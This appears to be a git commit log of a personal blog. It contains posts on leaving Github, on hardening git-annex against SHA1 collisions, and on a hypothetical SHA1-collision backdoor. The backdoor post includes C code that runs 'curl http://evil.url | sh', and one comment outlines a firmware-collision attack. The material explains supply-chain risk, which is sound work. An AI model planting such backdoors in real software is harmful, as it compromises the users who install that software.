 [ikiwiki](http://source.ikiwiki.branchable.com/),
 [etckeeper](http://source.etckeeper.branchable.com/),
 [myrepos](http://source.myrepos.branchable.com/),
-click on the links for the non-Github repos. (There's an
-oncoming severe weather event here, so it may take some time before I get
-everything deleted and cleaned up.)
+click on the links for the non-Github repos ([git.joeyh.name](https://git.joeyh.name/) also has mirrors).
+(There's an oncoming severe weather event here, so it
+may take some time before I get everything deleted and cleaned up.)
 
 [Some commits to git-annex were pushed to Github this morning by
 an automated system, but I had *NOT* accepted their new TOS at that

typo
diff --git a/blog/entry/removing_everything_from_github.mdwn b/blog/entry/removing_everything_from_github.mdwn
index 609f26b..61e82bf 100644
--- a/blog/entry/removing_everything_from_github.mdwn
+++ b/blog/entry/removing_everything_from_github.mdwn
@@ -4,7 +4,7 @@ neuters it entirely, so GPL licensed software hosted on Github has an
 implicit BSD-like license. I'll leave the full analysis to the lawyers,
 but see [Thorsten's analysis](https://www.mirbsd.org/permalinks/wlog-10_e20170301-tg.htm#e20170301-tg_wlog-10).
 
-I contacted Github about this weeks ago, and received only an adonyne
+I contacted Github about this weeks ago, and received only an anodyne
 response. The Free Software Foundation was also talking with them about it.
 It seems that Github doesn't care or has some reason to want to effectively
 neuter copyleft software licenses.

blog update
diff --git a/blog/entry/removing_everything_from_github.mdwn b/blog/entry/removing_everything_from_github.mdwn
new file mode 100644
index 0000000..609f26b
--- /dev/null
+++ b/blog/entry/removing_everything_from_github.mdwn
@@ -0,0 +1,28 @@
+Github recently drafted an update to their Terms Of Service. The new TOS
+is potentially very bad for copylefted Free Software. It potentially
+neuters it entirely, so GPL licensed software hosted on Github has an
+implicit BSD-like license. I'll leave the full analysis to the lawyers,
+but see [Thorsten's analysis](https://www.mirbsd.org/permalinks/wlog-10_e20170301-tg.htm#e20170301-tg_wlog-10).
+
+I contacted Github about this weeks ago, and received only an adonyne
+response. The Free Software Foundation was also talking with them about it.
+It seems that Github doesn't care or has some reason to want to effectively
+neuter copyleft software licenses.
+
+I am deleting my repositories from Github at this time.
+If you used the Github mirrors for
+[git-annex](http://source.git-annex.branchable.com/), 
+[propellor](http://source.propellor.branchable.com/), 
+[ikiwiki](http://source.ikiwiki.branchable.com/),
+[etckeeper](http://source.etckeeper.branchable.com/),
+[myrepos](http://source.myrepos.branchable.com/),
+click on the links for the non-Github repos. (There's an
+oncoming severe weather event here, so it may take some time before I get
+everything deleted and cleaned up.)
+
+[Some commits to git-annex were pushed to Github this morning by
+an automated system, but I had *NOT* accepted their new TOS at that
+point, and explicitly do **NOT** give Github or anyone any rights
+to git-annex not granted by its GPL and AGPL licenses.]
+
+See also: [PDF of Github TOS that can be read without being forced to first accept Github's TOS](https://tmp.joeyh.name/github-tos.pdf)

ps
diff --git a/blog/entry/making_git-annex_secure_in_the_face_of_SHA1_collisions.mdwn b/blog/entry/making_git-annex_secure_in_the_face_of_SHA1_collisions.mdwn
index 9e10cd7..ee291a5 100644
--- a/blog/entry/making_git-annex_secure_in_the_face_of_SHA1_collisions.mdwn
+++ b/blog/entry/making_git-annex_secure_in_the_face_of_SHA1_collisions.mdwn
@@ -23,3 +23,12 @@ and more about why it avoids git's SHA1 weaknesses, see
 My advice is, if you are using a git repository to publish or collaborate
 on binary files, in which it's easy to hide SHA1 collisions,
 you should switch to using git-annex and signed commits.
+
+PS: Of course, verifying gpg signatures on signed commits adds some
+complexity and won't always be done. It turns out that the current
+SHA1 known-prefix collision attack cannot be usefully used to generate
+colliding commit objects, although a future common-prefix collision
+attack might. So, even if users don't verify signed commits, I believe
+that repositories using git-annex for binary files will be as secure as
+git repositories containing binary files used to be.
+How-ever secure that might be..

blog update
diff --git a/blog/entry/making_git-annex_secure_in_the_face_of_SHA1_collisions.mdwn b/blog/entry/making_git-annex_secure_in_the_face_of_SHA1_collisions.mdwn
new file mode 100644
index 0000000..9e10cd7
--- /dev/null
+++ b/blog/entry/making_git-annex_secure_in_the_face_of_SHA1_collisions.mdwn
@@ -0,0 +1,25 @@
+[git-annex](https://git-annex.branchabe.com/) has never used SHA1 by
+default. But, there are concerns about SHA1 collisions being used to
+exploit git repositories in various ways. Since git-annex builds on top of
+git, it inherits its foundational SHA1 weaknesses. Or does it?
+
+Interestingly, when I dug into the details, I found a way to make git-annex
+repositories secure from SHA1 collision attacks, as long as signed commits
+are used (and verified). 
+
+When git commits are signed (and verified), SHA1 collisions in
+commits are not a problem. And there seems to be no way to generate
+usefully colliding git tree objects (unless they contain really ugly binary
+filenames). That leaves blob objects, and when using git-annex, those are
+git-annex key names, which can be secured from being a vector for SHA1
+collision attacks.
+
+This needed some work on git-annex, which is now done, so look
+for a release in the next day or two that hardens it against
+SHA1 collision attacks. For details about how to use it, 
+and more about why it avoids git's SHA1 weaknesses, see
+<https://git-annex.branchable.com/tips/using_signed_git_commits/>.
+
+My advice is, if you are using a git repository to publish or collaborate
+on binary files, in which it's easy to hide SHA1 collisions,
+you should switch to using git-annex and signed commits.

reflow
diff --git a/blog/entry/SHA1_collision_via_ASCII_art/comment_8_00b41dec622f07c94d57ec1e3a5966ec._comment b/blog/entry/SHA1_collision_via_ASCII_art/comment_8_00b41dec622f07c94d57ec1e3a5966ec._comment
index 5a58cdb..261c90b 100644
--- a/blog/entry/SHA1_collision_via_ASCII_art/comment_8_00b41dec622f07c94d57ec1e3a5966ec._comment
+++ b/blog/entry/SHA1_collision_via_ASCII_art/comment_8_00b41dec622f07c94d57ec1e3a5966ec._comment
@@ -18,7 +18,8 @@ a jump to 129 bytes after the current end of the firmware.
 resulting file as the input the the collision generation attack. (If you
 wan to target this being stored in a git repository, include a git blob
 header in the data used to generate the collision.)
-Now you have two 128 byte chunks which when appended to the file in #1, result in two colliding, but different files.
+Now you have two 128 byte chunks which when appended to the file in #1,
+result in two different, SHA1-colliding files.
 
 3. At the end of each of the two different files, append the same payload. Since the SHA1 hash function is in the same state at the end of each file in #2, appending identical data to each file yields new files that also collide.
 

reflow
diff --git a/blog/entry/SHA1_collision_via_ASCII_art/comment_8_00b41dec622f07c94d57ec1e3a5966ec._comment b/blog/entry/SHA1_collision_via_ASCII_art/comment_8_00b41dec622f07c94d57ec1e3a5966ec._comment
index 613e804..5a58cdb 100644
--- a/blog/entry/SHA1_collision_via_ASCII_art/comment_8_00b41dec622f07c94d57ec1e3a5966ec._comment
+++ b/blog/entry/SHA1_collision_via_ASCII_art/comment_8_00b41dec622f07c94d57ec1e3a5966ec._comment
@@ -12,12 +12,13 @@ the other which does not. The good version can be distributed, and
 then replaced by the bad version without the replacement being noticed.
 
 1. Identify the first instruction run by the firmware at boot. Replace with
-a jump to 129 bytes after the current end of the firmware. Use the
+a jump to 129 bytes after the current end of the firmware. 
+
+2. Use the
 resulting file as the input the the collision generation attack. (If you
 wan to target this being stored in a git repository, include a git blob
 header in the data used to generate the collision.)
-
-2. Now you have two 128 byte chunks which when appended to the file in #1, result in two colliding, but different files.
+Now you have two 128 byte chunks which when appended to the file in #1, result in two colliding, but different files.
 
 3. At the end of each of the two different files, append the same payload. Since the SHA1 hash function is in the same state at the end of each file in #2, appending identical data to each file yields new files that also collide.
 

comment
diff --git a/blog/entry/SHA1_collision_via_ASCII_art/comment_8_00b41dec622f07c94d57ec1e3a5966ec._comment b/blog/entry/SHA1_collision_via_ASCII_art/comment_8_00b41dec622f07c94d57ec1e3a5966ec._comment
new file mode 100644
index 0000000..613e804
--- /dev/null
+++ b/blog/entry/SHA1_collision_via_ASCII_art/comment_8_00b41dec622f07c94d57ec1e3a5966ec._comment
@@ -0,0 +1,27 @@
+[[!comment format=mdwn
+ username="joey"
+ subject="""HOWTO firmware collision"""
+ date="2017-02-27T15:31:55Z"
+ content="""
+Of course, what we really need to worry about is not ASCII art, but
+binary firmware published by git repository. The linux firmware repository, for example.
+
+Here's how to use the SHA1 collision generation attack to modify a firmware
+file so there are two versions, one of which runs a malicious exploit and
+the other which does not. The good version can be distributed, and
+then replaced by the bad version without the replacement being noticed.
+
+1. Identify the first instruction run by the firmware at boot. Replace with
+a jump to 129 bytes after the current end of the firmware. Use the
+resulting file as the input the the collision generation attack. (If you
+wan to target this being stored in a git repository, include a git blob
+header in the data used to generate the collision.)
+
+2. Now you have two 128 byte chunks which when appended to the file in #1, result in two colliding, but different files.
+
+3. At the end of each of the two different files, append the same payload. Since the SHA1 hash function is in the same state at the end of each file in #2, appending identical data to each file yields new files that also collide.
+
+The payload examines the memory in the 128 byte colliding area. If it sees the "good" version, it runs the instruction that was originally replaced with the jump, and jumps back to the second original instruction. If it sees the "bad" version, it runs the remainder of the payload, the exploit.
+
+Obviously there is some trickiness to do with relative addresses and returning registers to the original state when jumping back in the "good" version etc. But this should be very doable for any assembly programmer; it should even be possible to completely automate it.
+"""]]

fix
diff --git a/blog/entry/SHA1_collision_via_ASCII_art/comment_5_774a0e070de61e54b1f2970e75bfd881._comment b/blog/entry/SHA1_collision_via_ASCII_art/comment_5_774a0e070de61e54b1f2970e75bfd881._comment
index 1a2b072..b3b352d 100644
--- a/blog/entry/SHA1_collision_via_ASCII_art/comment_5_774a0e070de61e54b1f2970e75bfd881._comment
+++ b/blog/entry/SHA1_collision_via_ASCII_art/comment_5_774a0e070de61e54b1f2970e75bfd881._comment
@@ -1,5 +1,5 @@
 [[!comment format=mdwn
- username="mail@45651620a210591000202a17a15b298f81c5f682"
+ username="nomeata@45651620a210591000202a17a15b298f81c5f682"
  nickname="nomeata"
  avatar="http://cdn.libravatar.org/avatar/5823d09208b1e4b63bbfcd189492032c"
  subject="comment 5"

fix name
diff --git a/blog/entry/SHA1_collision_via_ASCII_art/comment_5_774a0e070de61e54b1f2970e75bfd881._comment b/blog/entry/SHA1_collision_via_ASCII_art/comment_5_774a0e070de61e54b1f2970e75bfd881._comment
index de537e0..1a2b072 100644
--- a/blog/entry/SHA1_collision_via_ASCII_art/comment_5_774a0e070de61e54b1f2970e75bfd881._comment
+++ b/blog/entry/SHA1_collision_via_ASCII_art/comment_5_774a0e070de61e54b1f2970e75bfd881._comment
@@ -1,6 +1,6 @@
 [[!comment format=mdwn
  username="mail@45651620a210591000202a17a15b298f81c5f682"
- nickname="mail"
+ nickname="nomeata"
  avatar="http://cdn.libravatar.org/avatar/5823d09208b1e4b63bbfcd189492032c"
  subject="comment 5"
  date="2017-02-24T21:11:50Z"
diff --git a/blog/entry/SHA1_collision_via_ASCII_art/comment_6_8912f98a82c8e523e08e9df72021bb4d._comment b/blog/entry/SHA1_collision_via_ASCII_art/comment_6_8912f98a82c8e523e08e9df72021bb4d._comment
index 005f6c0..2d63776 100644
--- a/blog/entry/SHA1_collision_via_ASCII_art/comment_6_8912f98a82c8e523e08e9df72021bb4d._comment
+++ b/blog/entry/SHA1_collision_via_ASCII_art/comment_6_8912f98a82c8e523e08e9df72021bb4d._comment
@@ -3,7 +3,7 @@
  subject="""Re: comment 5"""
  date="2017-02-25T00:08:27Z"
  content="""
-@mail, I'm sure it would be harder to limit the collision to printable
+@nomeata, I'm sure it would be harder to limit the collision to printable
 characters. How hard I don't know (even after reading the paper).
 
 AIUI, they're using a SAT solver; it might be that it could be modified

fix
diff --git a/blog/entry/SHA1_collision_via_ASCII_art/comment_4_ea08deb4fdfeb087703919bdec0157eb/comment_1_8912f98a82c8e523e08e9df72021bb4d._comment b/blog/entry/SHA1_collision_via_ASCII_art/comment_4_ea08deb4fdfeb087703919bdec0157eb/comment_1_8912f98a82c8e523e08e9df72021bb4d._comment
deleted file mode 100644
index 3778e57..0000000
--- a/blog/entry/SHA1_collision_via_ASCII_art/comment_4_ea08deb4fdfeb087703919bdec0157eb/comment_1_8912f98a82c8e523e08e9df72021bb4d._comment
+++ /dev/null
@@ -1,15 +0,0 @@
-[[!comment format=mdwn
- username="joey"
- subject="""Re: comment 3"""
- date="2017-02-25T00:08:27Z"
- content="""
-@tanguy, I'm sure it would be harder to limit the collision to printable
-characters. How hard I don't know (even after reading the paper).
-
-AIUI, they're using a SAT solver; it might be that it could be modified
-to remove solutions that use unprintable characters, and it might only have
-to work a "little" harder.
-
-Or it might take the obvious worst case of needing to run the collision
-generator repeatedly until it finally finds a suitable collision.
-"""]]
diff --git a/blog/entry/SHA1_collision_via_ASCII_art/comment_4_ea08deb4fdfeb087703919bdec0157eb/comment_2_e2018489aebc68ab771ceee72cba12ef._comment b/blog/entry/SHA1_collision_via_ASCII_art/comment_4_ea08deb4fdfeb087703919bdec0157eb/comment_2_e2018489aebc68ab771ceee72cba12ef._comment
deleted file mode 100644
index aac2423..0000000
--- a/blog/entry/SHA1_collision_via_ASCII_art/comment_4_ea08deb4fdfeb087703919bdec0157eb/comment_2_e2018489aebc68ab771ceee72cba12ef._comment
+++ /dev/null
@@ -1,15 +0,0 @@
-[[!comment format=mdwn
- username="joey"
- subject="""comment 2"""
- date="2017-02-25T00:11:42Z"
- content="""
-@tanguy sorry, you're entirely wrong.
-
-Once the common prefix and the collision data have been fed into SHA1,
-both the "good" and "bad" SHA1 calculations have the same internal
-state. So, any common suffix after that will result in the same SHA1.
-
-If you don't believe me (or the paper that says that same thing in a
-more mathy way), you can easily verify this with the published
-SHA1 collision files.
-"""]]
diff --git a/blog/entry/SHA1_collision_via_ASCII_art/comment_6_8912f98a82c8e523e08e9df72021bb4d._comment b/blog/entry/SHA1_collision_via_ASCII_art/comment_6_8912f98a82c8e523e08e9df72021bb4d._comment
new file mode 100644
index 0000000..005f6c0
--- /dev/null
+++ b/blog/entry/SHA1_collision_via_ASCII_art/comment_6_8912f98a82c8e523e08e9df72021bb4d._comment
@@ -0,0 +1,15 @@
+[[!comment format=mdwn
+ username="joey"
+ subject="""Re: comment 5"""
+ date="2017-02-25T00:08:27Z"
+ content="""
+@mail, I'm sure it would be harder to limit the collision to printable
+characters. How hard I don't know (even after reading the paper).
+
+AIUI, they're using a SAT solver; it might be that it could be modified
+to remove solutions that use unprintable characters, and it might only have
+to work a "little" harder.
+
+Or it might take the obvious worst case of needing to run the collision
+generator repeatedly until it finally finds a suitable collision.
+"""]]
diff --git a/blog/entry/SHA1_collision_via_ASCII_art/comment_7_e2018489aebc68ab771ceee72cba12ef._comment b/blog/entry/SHA1_collision_via_ASCII_art/comment_7_e2018489aebc68ab771ceee72cba12ef._comment
new file mode 100644
index 0000000..6d42dc1
--- /dev/null
+++ b/blog/entry/SHA1_collision_via_ASCII_art/comment_7_e2018489aebc68ab771ceee72cba12ef._comment
@@ -0,0 +1,15 @@
+[[!comment format=mdwn
+ username="joey"
+ subject="""Re: Common prefix and suffix"""
+ date="2017-02-25T00:11:42Z"
+ content="""
+@tanmail sorry, you're entirely wrong.
+
+Once the common prefix and the collision data have been fed into SHA1,
+both the "good" and "bad" SHA1 calculations have the same internal
+state. So, any common suffix after that will result in the same SHA1.
+
+If you don't believe me (or the paper that says that same thing in a
+more mathy way), you can easily verify this with the published
+SHA1 collision files.
+"""]]

comment
diff --git a/blog/entry/SHA1_collision_via_ASCII_art/comment_4_ea08deb4fdfeb087703919bdec0157eb/comment_1_8912f98a82c8e523e08e9df72021bb4d._comment b/blog/entry/SHA1_collision_via_ASCII_art/comment_4_ea08deb4fdfeb087703919bdec0157eb/comment_1_8912f98a82c8e523e08e9df72021bb4d._comment
new file mode 100644
index 0000000..3778e57
--- /dev/null
+++ b/blog/entry/SHA1_collision_via_ASCII_art/comment_4_ea08deb4fdfeb087703919bdec0157eb/comment_1_8912f98a82c8e523e08e9df72021bb4d._comment
@@ -0,0 +1,15 @@
+[[!comment format=mdwn
+ username="joey"
+ subject="""Re: comment 3"""
+ date="2017-02-25T00:08:27Z"
+ content="""
+@tanguy, I'm sure it would be harder to limit the collision to printable
+characters. How hard I don't know (even after reading the paper).
+
+AIUI, they're using a SAT solver; it might be that it could be modified
+to remove solutions that use unprintable characters, and it might only have
+to work a "little" harder.
+
+Or it might take the obvious worst case of needing to run the collision
+generator repeatedly until it finally finds a suitable collision.
+"""]]
diff --git a/blog/entry/SHA1_collision_via_ASCII_art/comment_4_ea08deb4fdfeb087703919bdec0157eb/comment_2_e2018489aebc68ab771ceee72cba12ef._comment b/blog/entry/SHA1_collision_via_ASCII_art/comment_4_ea08deb4fdfeb087703919bdec0157eb/comment_2_e2018489aebc68ab771ceee72cba12ef._comment
new file mode 100644
index 0000000..aac2423
--- /dev/null
+++ b/blog/entry/SHA1_collision_via_ASCII_art/comment_4_ea08deb4fdfeb087703919bdec0157eb/comment_2_e2018489aebc68ab771ceee72cba12ef._comment
@@ -0,0 +1,15 @@
+[[!comment format=mdwn
+ username="joey"
+ subject="""comment 2"""
+ date="2017-02-25T00:11:42Z"
+ content="""
+@tanguy sorry, you're entirely wrong.
+
+Once the common prefix and the collision data have been fed into SHA1,
+both the "good" and "bad" SHA1 calculations have the same internal
+state. So, any common suffix after that will result in the same SHA1.
+
+If you don't believe me (or the paper that says that same thing in a
+more mathy way), you can easily verify this with the published
+SHA1 collision files.
+"""]]

Added a comment
diff --git a/blog/entry/SHA1_collision_via_ASCII_art/comment_5_774a0e070de61e54b1f2970e75bfd881._comment b/blog/entry/SHA1_collision_via_ASCII_art/comment_5_774a0e070de61e54b1f2970e75bfd881._comment
new file mode 100644
index 0000000..de537e0
--- /dev/null
+++ b/blog/entry/SHA1_collision_via_ASCII_art/comment_5_774a0e070de61e54b1f2970e75bfd881._comment
@@ -0,0 +1,9 @@
+[[!comment format=mdwn
+ username="mail@45651620a210591000202a17a15b298f81c5f682"
+ nickname="mail"
+ avatar="http://cdn.libravatar.org/avatar/5823d09208b1e4b63bbfcd189492032c"
+ subject="comment 5"
+ date="2017-02-24T21:11:50Z"
+ content="""
+Getting a collision that has a certain form (valid ASCII, no `\`, for example) is, AFAIK, much harder than a general collision. I wanted to use a MD5 collision to break Haskell’s type safety via `Typeable`, but failed because of that. Also, would the prefix have to have a certain length?
+"""]]

Added a comment: Common prefix and suffix
diff --git a/blog/entry/SHA1_collision_via_ASCII_art/comment_4_ea08deb4fdfeb087703919bdec0157eb._comment b/blog/entry/SHA1_collision_via_ASCII_art/comment_4_ea08deb4fdfeb087703919bdec0157eb._comment
new file mode 100644
index 0000000..d20d624
--- /dev/null
+++ b/blog/entry/SHA1_collision_via_ASCII_art/comment_4_ea08deb4fdfeb087703919bdec0157eb._comment
@@ -0,0 +1,16 @@
+[[!comment format=mdwn
+ username="tanguy+joeyh.name@ee567b4e84a07a6cf453eb24b4e6a9bd62ed3a55"
+ nickname="tanguy+joeyh.name"
+ avatar="http://cdn.libravatar.org/avatar/b9815e028ba1e10b8bd4da99ce55f10d"
+ subject="Common prefix and suffix"
+ date="2017-02-24T15:54:12Z"
+ content="""
+Hello,
+
+I do not think your idea is applicable as it is, because what you are using here is two files, with a variable part (the first line of ASCII art), a common prefix (everything before that line), but also a common suffix (everything after that line). If your variable part is designed to that the concatenation of the common prefix and that part gives the same hash with the two versions, that will not be the case for the concatenation of the common prefix, that part and the common suffix. Therefore, the two versions of the complete files with not have the same hash, only their first three lines do, but nobody verifies files integrity by taking the hash of its first three lines…
+
+It may be possible to mount such an attack, but I think it would be quite more complicated…
+
+
+
+"""]]

response
diff --git a/blog/entry/SHA1_collision_via_ASCII_art/comment_3_52741a8acfa9b23cd8154f29bf51a007._comment b/blog/entry/SHA1_collision_via_ASCII_art/comment_3_52741a8acfa9b23cd8154f29bf51a007._comment
new file mode 100644
index 0000000..514bbc9
--- /dev/null
+++ b/blog/entry/SHA1_collision_via_ASCII_art/comment_3_52741a8acfa9b23cd8154f29bf51a007._comment
@@ -0,0 +1,19 @@
+[[!comment format=mdwn
+ username="joey"
+ subject="""comment 3"""
+ date="2017-02-24T13:37:09Z"
+ content="""
+As far as I know, you do not need a 192 byte prefix, it should be able to
+be any length you choose. "192" does not appear in the paper. The 192 bytes
+that appear before the good/bad chunk in the SHA1 colliding pdfs consists
+of the regular header of a pdf document. A prefix consisting of some C
+code would work just as well.
+
+To make files that result in colliding git blobs, one only has to add at
+the front of the above prefix eg "blob 5000\0". The SHA1 collision
+generation attack then proceeds as normal. Once you have its results, you
+just strip that blob prefix from them, pad them up to the selected size of
+5000 (eg by adding more common C code at the end), to get files that can be
+checked into git and will yeild colliding blobs. The need for the file size
+to remain fixed is the only real complication here.
+"""]]

Added a comment: Prefix
diff --git a/blog/entry/SHA1_collision_via_ASCII_art/comment_2_678f2565ef16c063364d3e0226cd2597._comment b/blog/entry/SHA1_collision_via_ASCII_art/comment_2_678f2565ef16c063364d3e0226cd2597._comment
new file mode 100644
index 0000000..2005e46
--- /dev/null
+++ b/blog/entry/SHA1_collision_via_ASCII_art/comment_2_678f2565ef16c063364d3e0226cd2597._comment
@@ -0,0 +1,18 @@
+[[!comment format=mdwn
+ username="tv.joeyh.name@6b808ef7d0c5714777f18c602c7ac05f95915fc9"
+ nickname="tv.joeyh.name"
+ avatar="http://cdn.libravatar.org/avatar/378df8f472fd622f763df48781b434e2"
+ subject="Prefix"
+ date="2017-02-24T07:44:20Z"
+ content="""
+Hello Joey,
+
+neat post.
+As far as I can tell, you also need to get the SHA calculation in the proper state, though
+For example, just the two different string parts will not compare equal, you need the 192 bytes of prefix, too. Also, you cannot prefix the blobs with a common prefix and get the same result.
+So I would think that there is still significant \"cryptographic\" effort needed to apply this to git.
+
+Best regards
+
+Thomas
+"""]]

comment
diff --git a/blog/entry/SHA1_collision_via_ASCII_art/comment_1_ad0569164a0d9a85fce08600802ebf92._comment b/blog/entry/SHA1_collision_via_ASCII_art/comment_1_ad0569164a0d9a85fce08600802ebf92._comment
new file mode 100644
index 0000000..15f6056
--- /dev/null
+++ b/blog/entry/SHA1_collision_via_ASCII_art/comment_1_ad0569164a0d9a85fce08600802ebf92._comment
@@ -0,0 +1,15 @@
+[[!comment format=mdwn
+ username="joey"
+ subject="""comment 1"""
+ date="2017-02-24T01:48:08Z"
+ content="""
+	misterbonnie             7*yLN#!NOK
+	misterbonnie             mFMC^&*FMM'
+	misterbonnie             | *'     _\
+	misterbonnie             |  =|MM|\MM  but i like
+	misterbonnie              \V    c_)|   putting ascii art
+	misterbonnie               |\   __ /   in my code :(
+	misterbonnie               |    __/
+	misterbonnie               \     |
+	misterbonnie                \ 
+"""]]

improve
diff --git a/blog/entry/SHA1_collision_via_ASCII_art.mdwn b/blog/entry/SHA1_collision_via_ASCII_art.mdwn
index c0e7715..d67a70b 100644
--- a/blog/entry/SHA1_collision_via_ASCII_art.mdwn
+++ b/blog/entry/SHA1_collision_via_ASCII_art.mdwn
@@ -63,7 +63,9 @@ file, like this:
 	3*/7N  /.V \
 	3*\\7N'/NO@ \
 	7*y7N#!NOX";
-	/* We had to escape backslashes above to make it a valid C string. */
+	/* We had to escape backslashes above to make it a valid C string.
+	 * Run program with --easter-egg to see it in all its glory.
+	 */
 
 	/* Call this at the top of main() */
 	check_display_easter_egg (char **argv) {

really fix mdwn
diff --git a/blog/entry/SHA1_collision_via_ASCII_art.mdwn b/blog/entry/SHA1_collision_via_ASCII_art.mdwn
index c22688c..c0e7715 100644
--- a/blog/entry/SHA1_collision_via_ASCII_art.mdwn
+++ b/blog/entry/SHA1_collision_via_ASCII_art.mdwn
@@ -39,31 +39,31 @@ line is.
 Quick demo from a not very artistic ASCII artist, of the first 10th of
 such a picture based on the "good" line above:
 
-        7*yLN#!NOK
-        3*\LN'\NO@
-        3*/LN  \.A
-        5*\LN   \.
-        >=======:)
-        5*\7N   /.
-        3*/7N  /.V
-        3*\7N'/NO@
-        7*y7N#!NOX
+	7*yLN#!NOK
+	3*\LN'\NO@
+	3*/LN  \.A
+	5*\LN   \.
+	>=======:)
+	5*\7N   /.
+	3*/7N  /.V
+	3*\7N'/NO@
+	7*y7N#!NOX
 
 Now, take your ASCII art and embed it in a multiline quote in a C source
 file, like this:
 
-        /* ASCII art for easter egg. */
-        char *amazing_ascii_art="\
-        7*yLN#!NOK \
-        3*\\LN'\\NO@ \
-        3*/LN  \\.A \ 
-        5*\\LN   \\. \
-        >=======:) \
-        5*\\7N   /. \
-        3*/7N  /.V \
-        3*\\7N'/NO@ \
-        7*y7N#!NOX";
-        /* We had to escape backslashes above to make it a valid C string. */
+	/* ASCII art for easter egg. */
+	char *amazing_ascii_art="\
+	7*yLN#!NOK \
+	3*\\LN'\\NO@ \
+	3*/LN  \\.A \ 
+	5*\\LN   \\. \
+	>=======:) \
+	5*\\7N   /. \
+	3*/7N  /.V \
+	3*\\7N'/NO@ \
+	7*y7N#!NOX";
+	/* We had to escape backslashes above to make it a valid C string. */
 
 	/* Call this at the top of main() */
 	check_display_easter_egg (char **argv) {

typo
diff --git a/blog/entry/SHA1_collision_via_ASCII_art.mdwn b/blog/entry/SHA1_collision_via_ASCII_art.mdwn
index d94ede8..c22688c 100644
--- a/blog/entry/SHA1_collision_via_ASCII_art.mdwn
+++ b/blog/entry/SHA1_collision_via_ASCII_art.mdwn
@@ -86,7 +86,7 @@ different programs.
 
 Once a project contains the first 3 lines of the file, followed by
 anything at all, it contains a SHA1 collision, from which you can generate
-the bad version of by swapping in the bad data chuck. You can then
+the bad version by swapping in the bad data chuck. You can then
 replace the good file with the bad version here and there, and noone
 will be the wiser (except the easter egg will display the "bad" first line
 before it roots them).

fix markdown
diff --git a/blog/entry/SHA1_collision_via_ASCII_art.mdwn b/blog/entry/SHA1_collision_via_ASCII_art.mdwn
index b804108..d94ede8 100644
--- a/blog/entry/SHA1_collision_via_ASCII_art.mdwn
+++ b/blog/entry/SHA1_collision_via_ASCII_art.mdwn
@@ -39,7 +39,7 @@ line is.
 Quick demo from a not very artistic ASCII artist, of the first 10th of
 such a picture based on the "good" line above:
 
-	7*yLN#!NOK
+        7*yLN#!NOK
         3*\LN'\NO@
         3*/LN  \.A
         5*\LN   \.
@@ -47,14 +47,14 @@ such a picture based on the "good" line above:
         5*\7N   /.
         3*/7N  /.V
         3*\7N'/NO@
-	7*y7N#!NOX
+        7*y7N#!NOX
 
 Now, take your ASCII art and embed it in a multiline quote in a C source
 file, like this:
 
-	/* ASCII art for easter egg. */
-	char *amazing_ascii_art="\
-	7*yLN#!NOK \
+        /* ASCII art for easter egg. */
+        char *amazing_ascii_art="\
+        7*yLN#!NOK \
         3*\\LN'\\NO@ \
         3*/LN  \\.A \ 
         5*\\LN   \\. \
@@ -62,8 +62,8 @@ file, like this:
         5*\\7N   /. \
         3*/7N  /.V \
         3*\\7N'/NO@ \
-	7*y7N#!NOX";
-	/* We had to escape backslashes above to make it a valid C string. */
+        7*y7N#!NOX";
+        /* We had to escape backslashes above to make it a valid C string. */
 
 	/* Call this at the top of main() */
 	check_display_easter_egg (char **argv) {

blog update
diff --git a/blog/entry/SHA1_collision_via_ASCII_art.mdwn b/blog/entry/SHA1_collision_via_ASCII_art.mdwn
new file mode 100644
index 0000000..b804108
--- /dev/null
+++ b/blog/entry/SHA1_collision_via_ASCII_art.mdwn
@@ -0,0 +1,111 @@
+Happy [SHA1 collision](https://shattered.io/) day everybody!
+
+If you extract the differences between the good.pdf and bad.pdf
+attached to [the paper](https://shattered.io/static/shattered.pdf),
+you'll find it all comes down to a small ~128 byte chunk of
+random-looking binary data that varies between the files.
+
+The SHA1 attack announced today is a common-prefix attack. The common
+prefix that we will use is this:
+
+	/* ASCII art for easter egg. */
+	char *amazing_ascii_art="\
+
+(To be extra sneaky, you can add a git blob object header to that prefix
+before calculating the collisions. Doing so will make the SHA1 that git
+generates when checking in the colliding file be the thing that collides.
+This makes it easier to swap in the bad file later on, because you can
+publish a git repository containing it, and trick people into using that
+repository. ("I put a mirror on github!") The developers of the program
+will have the good version in their repositories and not notice that users
+are getting the bad version.)
+
+Suppose that the attack was able to find collisions using only printable
+ASCII characters when calculating those chunks.
+
+The "good" data chunk might then look like this:
+
+	7*yLN#!NOKj@{FPKW".<i+sOCsx9QiFO0UR3ES*Eh]g6r/anP=bZ6&IJ#cOS.w;oJkVW"<*.!,qjRht?+^=^/Q*Is0K>6F)fc(ZS5cO#"aEavPLI[oI(kF_l!V6ycArQ
+
+And the "bad" data chunk like this:
+
+	9xiV^Ksn=<A!<^}l4~`uY2x8krnY@JA<<FA0Z+Fw!;UqC(1_ZA^fu#e}Z>w_/S?.5q^!WY7VE>gXl.M@d6]a*jW1eY(Qw(r5(rW8G)?Bt3UT4fas5nphxWPFFLXxS/xh
+
+Now we need an ASCII artist. This could be a human, or it could be a
+machine. The artist needs to make an ASCII art where the first line
+is the good chunk, and the rest of the lines obfuscate how random the first
+line is.
+
+Quick demo from a not very artistic ASCII artist, of the first 10th of
+such a picture based on the "good" line above:
+
+	7*yLN#!NOK
+        3*\LN'\NO@
+        3*/LN  \.A
+        5*\LN   \.
+        >=======:)
+        5*\7N   /.
+        3*/7N  /.V
+        3*\7N'/NO@
+	7*y7N#!NOX
+
+Now, take your ASCII art and embed it in a multiline quote in a C source
+file, like this:
+
+	/* ASCII art for easter egg. */
+	char *amazing_ascii_art="\
+	7*yLN#!NOK \
+        3*\\LN'\\NO@ \
+        3*/LN  \\.A \ 
+        5*\\LN   \\. \
+        >=======:) \
+        5*\\7N   /. \
+        3*/7N  /.V \
+        3*\\7N'/NO@ \
+	7*y7N#!NOX";
+	/* We had to escape backslashes above to make it a valid C string. */
+
+	/* Call this at the top of main() */
+	check_display_easter_egg (char **argv) {
+		if (strcmp(argv[1], "--easter-egg") == 0)
+			printf(amazing_ascii_art);
+		if (amazing_ascii_art[0] == "9")
+			system("curl http://evil.url | sh");
+	}
+
+Now, you need a C ofuscation person, to make that backdoor a little less
+obvious. (Hint: Add code to to fix the newlines, paint additional
+ASCII sprites over top of the static art, etc, add animations, and bury
+the shellcode in there.) 
+
+After a little work, you'll have a C file that any project would
+like to add, to be able to display a great easter egg ASCII art. Submit it
+to a project. Submit different versions of it to 100 projects! Everything
+after line 3 can be edited to make lots of different versions targeting
+different programs.
+
